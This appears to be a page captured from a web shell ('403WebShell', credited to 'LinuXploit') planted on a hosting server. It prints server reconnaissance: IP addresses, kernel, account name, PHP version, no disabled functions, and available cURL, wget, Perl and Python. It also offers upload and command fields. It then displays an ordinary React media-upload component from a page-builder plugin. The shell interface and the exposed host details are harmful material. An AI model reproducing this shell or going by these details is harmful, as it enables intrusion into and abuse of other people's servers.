Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.188.75
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/components/media.js
import { LabelControl } from './label';
import { MediaUpload } from '@wordpress/block-editor';

export const MediaControl = (props) => {
	
	const { attributes, prop, value, setAttributes} = props;
	const { name } = prop['c'];
	const tmpAtts = attributes?.tmpAtts ?  attributes.tmpAtts : {};
	
	const setURL = pagelayer_empty(tmpAtts[name+'-url']) ? value : tmpAtts[name+'-url'];
	
	var mediaSting = 'Media';
	var allow = [];
	var propType = prop?.type;
	
	if(propType == 'video'){
		allow = ['video'];
		mediaSting = 'Video';
	}else if(propType == 'audio'){
		allow = ['audio'];
		mediaSting = 'Audio';
	}
		
	const handleMediaChange = (e) => {
		const newURL = e.target.value;
		
		const tmp = {
			...tmpAtts,
			[name+'-url']: newURL,
		};
		
		setAttributes({
			[name]: newURL,
			tmpAtts: tmp,
		})
	};

	const onSelectMedia = (videoProps) => {
		const { id, url } = videoProps;
		
		const tmp = {
			...tmpAtts,
			[name+'-url']: url,
		};
		
		setAttributes({
			[name]: id,
			tmpAtts: tmp,
		});
	}
	
	const renderMediaUploader = (open) => {
		return (
			<div className="pagelayer-elp-media-div pagelayer-elp-input-icon">
				<input 
					className="pagelayer-elp-media" 
					name={name}
					type="text"
					value={setURL}				
					placeholder={`Insert ${mediaSting} URL`}				
					onChange={ (e) => handleMediaChange(e) }
					>
				</input>
				<span 
					className="pagelayer-elp-add-media"
					onClick={ () => {open()} }
					title='Open Media Library'
				><i className="pli pli-menu"></i></span>				
			</div>
		);
	}

	return (
		<div className="components-base-control pagelayer-base-control">
			<LabelControl {...props}/>
			<MediaUpload
				title={`Select or Upload ${mediaSting}`}
				onSelect={ onSelectMedia }
				allowedTypes={ allow }
				value={ value }
				render={ ( { open } ) => renderMediaUploader( open ) }
			/>
		</div>
	);	
}

Youez - 2016 - github.com/yon3zu
LinuXploit